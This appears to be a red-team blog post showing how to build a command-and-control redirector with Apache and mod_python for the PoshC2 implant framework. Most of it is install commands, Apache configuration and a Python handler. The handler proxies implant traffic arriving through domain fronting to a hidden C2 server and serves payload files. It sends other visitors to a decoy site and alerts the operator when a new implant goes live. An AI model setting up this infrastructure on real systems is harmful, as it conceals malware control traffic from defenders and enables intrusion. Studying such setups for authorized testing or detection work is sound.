For this demonstration the setup is as follows:
This post is focused on the C2 proxy.
Firstly we’ll need to build the C2 proxy. In this instance I’m going to use a Digital Ocean droplet. Once it’s up and running we need to make sure it’s up to date and has the relevant software installed and running: apt-get update && apt-get upgrade
apt-get install apache2 libapache2-mod-python
a2enmod python
a2enmod proxy
a2enmod proxy_http
a2enmod rewrite
systemctl restart apache2.service
Once it’s up and running there will be three main files that need configuring: /etc/apache2/sites-available/000-default-le-ssl.conf
, /etc/apache/ports.conf
& the main python handler.
I’m also going to disable /etc/apache2/sites-available/000-default.conf
as the config can all remain in one file. a2dissite 000-default.conf
systemctl restart apache2.service
The base of the Apache config file, should look something like the below:
ServerSignature Off
ServerTokens Prod
<IfModule mod_ssl.c>
<VirtualHost *:443>
PythonPostReadRequestHandler /var/www/python/handler.py
PythonDebug Off #You might want this on whilst you configure the server
SSLEngine on
SSLProxyEngine On
SSLProxyCheckPeerCN Off
SSLProxyVerify none
SSLProxyCheckPeerName off
SSLProxyCheckPeerExpire off
SSLCertificateFile /etc/letsencrypt/live/[YOUR DOMAIN HERE]/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/[YOUR DOMAIN HERE]/privkey.pem
</VirtualHost>
<VirtualHost *:80>
#All HTTP traffic to HTTPS
RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L]
</VirtualHost>
<VirtualHost 127.0.0.1:8000> #Used to serve a "legitimate" looking site
DocumentRoot /var/www/html/legitimate
</VirtualHost>
<VirtualHost 127.0.0.1:9000> #Used to serve payloads etc
DocumentRoot /var/www/html/files_to_serve
</VirtualHost>
Be sure to make sure /etc/apache/ports.conf looks matches the above. For example:
Listen *:80
Listen localhost:8000
Listen localhost:9000
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
The above will ensure Apache does the following:
The core of the modpython configuration is the main python handler, in this example this file is /var/www/python/handler.py
As noted above, the base of this file comes from this blog post.
The below example is configured to work as a C2 proxy for PoshC2_python and also has the following functionality:
In this case, the visual alert is a LIFX bulb flashing red.
Below is the python handler, please bear in mind this is more of a PoC than anything else. There are definitely more elegant solutions to do some of this and obviously don’t use this on a live engagement without testing etc.
import logging
import requests
from mod_python import apache
def postreadrequesthandler(request):
request.handler = "proxy-server"
request.proxyreq = apache.PROXYREQ_REVERSE
useragent = request.headers_in.get("user-agent", None)
ip = request.get_remote_host(apache.REMOTE_NOLOOKUP)
useragent = request.headers_in.get("user-agent", None)
Posh_Server="[REDACTED]"
Posh_URIs=["[ADD POSH C2 URIS HERE]"]
File_URIS=["/payload/file","test/xml"]
Whitelist=["[ADD WHITELIST OF IPS HERE]"]
if "X-Forwarded-For" in request.headers_in: #If traffic is coming via the domain front
if request.headers_in["X-Forwarded-For"] in Whitelist: # and is on the whitelist
if request.unparsed_uri == "[POSH Staging URI]":
request.connection.log_error("New posh implant from a whitelisted IP proxying to Posh Server", apache.APLOG_ERR)
request.filename = ("proxy:https://%s/%s" %(Posh_Server,request.unparsed_uri))
notify_message="New implant is live - IP:%s"%request.headers_in["X-Forwarded-For"]
sendnotification(notify_message)
lifx()#Flash the light
elif request.unparsed_uri.startswith(tuple(Posh_URIs)):
request.connection.log_error("Request for %s from a whitelisted IP proxying to Posh Server (%s)"%(request.unparsed_uri,Posh_Server) , apache.APLOG_ERR)
request.filename = ("proxy:https://%s/%s" %(Posh_Server,request.unparsed_uri))# If it's a Posh URI, proxy the traffic to the Posh server
elif request.unparsed_uri in File_URIS:#If it's a payload file, proxy to the virtual host on 9000
request.filename = ("proxy:http://localhost:9000/%s" % request.unparsed_uri)
else:
request.connection.log_error("Traffic is going via CloudFront but is not on the whitelist: %s - Sending notification"%request.headers_in["X-Forwarded-For"] , apache.APLOG_ERR) #This will match any traffic that is going via domain fronting but is not on the whitelist
notify_message="Traffic via CF but not on whitelist: %s - %s"%(request.headers_in["X-Forwarded-For"],useragent)
sendnotification(notify_message)#Send a notification via Pushover
request.connection.log_error("Notification sent" , apache.APLOG_ERR)
else:
request.connection.log_error("Request from %s direct to proxy - Can't be legit traffic, sending to website"%ip , apache.APLOG_ERR)
request.filename = ("proxy:http://localhost:8000/%s" % request.unparsed_uri)#In this example all C2 traffic will be domain fronted and all links to files will be via the CDN, so anything hitting the proxy directly is just noise. So we proxy it to the virutal host on 8000, which can run a legit website or just a redirect to elsewhere
return apache.OK
def sendnotification(notify_message):
url="https://api.pushover.net/1/messages.json"
data={"token": "[REDACTED]","user": "[REDACTED]","message": notify_message}
requests.post(url,data=data)
def lifx():
token = "[REDACTED]"
headers = { "Authorization": "Bearer %s" % token}
payload = {
"color": "red",
"period" : "0.4",
"cycles" : "10.0",
"persist" : "false",
"power_on" : "true"
}
response = requests.post('https://api.lifx.com/v1/lights/all/effects/pulse', data=payload, headers=headers)
Once this config is live, we get the following results:
So overall mod_python seems to work well and makes it both quick and easy to add a lot of functionality to a C2 proxy. As it allows for standard python scripts to be run there is pretty much no bounds to what it could be used for.